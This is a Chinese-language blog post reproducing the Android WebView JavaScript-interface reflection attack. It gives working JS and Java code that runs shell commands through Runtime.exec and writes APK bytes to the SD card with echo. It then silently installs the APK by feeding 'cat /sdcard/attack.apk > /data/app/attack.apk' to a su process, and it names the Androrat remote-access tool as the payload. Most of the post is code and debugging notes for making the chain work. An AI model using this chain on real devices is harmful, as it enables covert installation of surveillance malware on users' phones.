Android WebView JS反射攻击还原(通过echo写入apk文件)

RT

最近在乌云平台上看了披露出来的一些漏洞,因为之前用过webview,所以尝试着还原一下js反射攻击:

原文地址

文中写的比较详细了,,也可以看看文章后面的参考。说一下遇到问题:

首先原理是因为sdcard可读可写,因此把攻击的数据写入到sdcard中去,但怎么写是个大问题,尤其是数据比较大的时候。我们在示例的网页中写恶意JS脚本,

function execute(cmdArgs){return JsUseJave.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}这个函数用来实行shell命令,不过获取权限是个大问题,首先要求手机必须root掉,然后通过执行su命令,但是问题在于两次命令执行的环境居然不一样,也就是说第一个命令su执行完之后,他所在的环境是有root权限的,但是第二条指令可就没有这么好的运气了,因为子进程环境不同。

还有就是执行echo特别特别需要注意的一点就是命令格式,折腾了2天总算弄出点眉目来:

原文中的数据:

var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00"对应的exec语句为:execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);

应该是大神觉得读者都懂,所以简略的写了下,表示虽然一看就懂了,但是。。。实际写一段代码试试就发现这个命令根本执行不了,而且最要命的是,webview是没法执行alert的,根本不知道输出是什么,而且js中引用java对象并不是那么简单的事情,通过反射拿到对象,但也仅仅成功拿到了Runtime,其他对象一直出错,导致VM崩掉,try ,catch中也不会有什么输出。

上边这行代码我测试根本执行不成功,首先这个字符串就不是按照字节来输出的,应该是大神一个简单的演示而已。

用过shell echo都知道,可以这样写:

//var armBinary = "\\x4d\\x5a\\x00\\x4d\\x5a";execute(["/system/bin/sh","-c","echo -n '"+armBinary+"' >> /sdcard/test.apk"]);

这样经过测试的的确确可以成功的将数据写入到指定的文件中,不过一定要注意这样写:

"echo -n’ "+armBinary+" ‘ >> /sdcard/test.apk"

一定要用’ ‘把变量裹起来,否则的话就会把这个变量名称当做字符输出了,我测试的时候自作聪明的用+把各个字符串分开,写成这个样子:execute(["/system/bin/sh","-c","echo -n "+armBinary+" >> /sdcard/test.apk"]);这样总是会多写3个字节,其中包括-n,以及一个换行。

切记一定要写成带有’ ‘的形式,而且,二进制变量必须写成这个样子:

var content0="\\x50\\x4b\\x03\\x04\\x14\\x00\\x08\\x00"否则你会发现如果变量中有0x00的样子,代码就不会正常执行了,最其原因我认为应该是如下原因:

1. execute函数中参数是个数组,有3个,第三个元素依然会按章字符串的原则来解析,所以,你仅仅写成\x4d\x51的话,如果没有0x00,OK,可以正常写入,如果有的话那就悲剧了,字符串被截断了,而且不会有任何输出内容。

2. 虽然在Linux下用echo, 可以echo -n -e "\x4d\x5a\x00\x00" > test 真实的可以写入4个字节,用adb shell 进入Android系统也能执行,但是通过反射shell就不可行,应该还是跟JS字符串的解析有关。

【对js不熟,以上是根据测试结果的猜想,如果问题请指正】

还有个问题,原文中说可以使用:

execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);来安装apk,但是我测试时发现也不好使,总是报device not found错误,尝试各种办法不行,如果大家有好的方法欢迎指导,跟小师弟两人测试了好久,终于发现先获取到root权限,然后直接将这个apk弄到/data/app目录下,就可以静默安装了。【前提是,执行copy命令的process必须是执行su之后的process,否则还是没法获得权限】

先说说在Activity中连续执行这两个命令:

String string2 = "rm /system/test &\n";Runtime runtime = Runtime.getRuntime();DataOutputStream dataOut;try {Process process = runtime.exec("su ");InputStream in = process.getInputStream();BufferedReader bufferReader = new BufferedReader(new InputStreamReader(in));BufferedReader err=new BufferedReader(new InputStreamReader(process.getErrorStream()));String line = null;dataOut = new DataOutputStream(process.getOutputStream());dataOut.writeBytes(string2);dataOut.flush();dataOut.close();process.waitFor();while ((line = err.readLine()) != null) {Log.i("js",line);}while ((line = bufferReader.readLine()) != null) {Log.i("js",line);}} catch (Exception e) {e.printStackTrace();}finally{if(process != null)process.destroy();}首先拿到runtime,执行exec会返回一个Process对象,此时不能直接再执行exec,因为那样会直接fork一个子进程,就不再是之前执行过su命令的shell了(Linux中su仅仅对当前打开的这个shell有效),所以我们想看到这个shell的返回值,就必须拿到他的“输出流”–>InputStream【注意名称】,如果想再接着执行命令,就必须往他的输入流OutputStream中写命令,因为shell也是一个数据流。写完之后记得flush和close数据流,然后waitFor一下。【虽然没有waitFor也能执行成功,但推荐加上】这样就可以在同一个process shell中连续执行命令了。 【么了强调一下,这段代码最好new一个thread来执行,因为如果等待时间过长的话,会引起Activity因为等待过长而宕掉】

在JS中想要顺序执行命令,也是同样的原则,不过在java中我们可以通过BufferReader来读取输出流,通过DataOutputStream来写入,但是在JS中尝试各种办法都没法引用到JAVA中的这两个对象,因此只能用下面这种方法:

var process = execute(["su"]);writeStream(process.getOutputStream());function writeStream(outputStream) {window.JsUseJave.openImage("start writeStream ");try {var cmd = "cat /sdcard/attack.apk > /data/app/attack.apk &";var len = cmd.length;var cmdByte = [];cmdByte = stringToBytes(cmd);outputStream.write(cmdByte);outputStream.flush();outputStream.close();window.JsUseJave.openImage("writeStream over");} catch (e) {window.JsUseJave.openImage("writeStream " + e.message);document.write("writeStream" + e.message);}}执行exec返回一个process对象,拿到它的输入流,然后直接用输入流的write函数往里边写byte数组,只要把命令cmd转换为byte数组就可以成功执行了。

么了,Android里不知道为么没有cp命令,如果用mv代替,会出现faile cross device link 。居说是认为sdcard和本身系统不在一个文件系统之内。

具体的解析请看这个链接:

所以就用了cat来代替。

对原文中的代码的修改如下就可以正常执行,汇总如下:

世界会向那些有目标和远见的人让路(冯两努——香港着名推销商

Android WebView JS反射攻击还原(通过echo写入apk文件)

相关文章:

你感兴趣的文章:

标签云: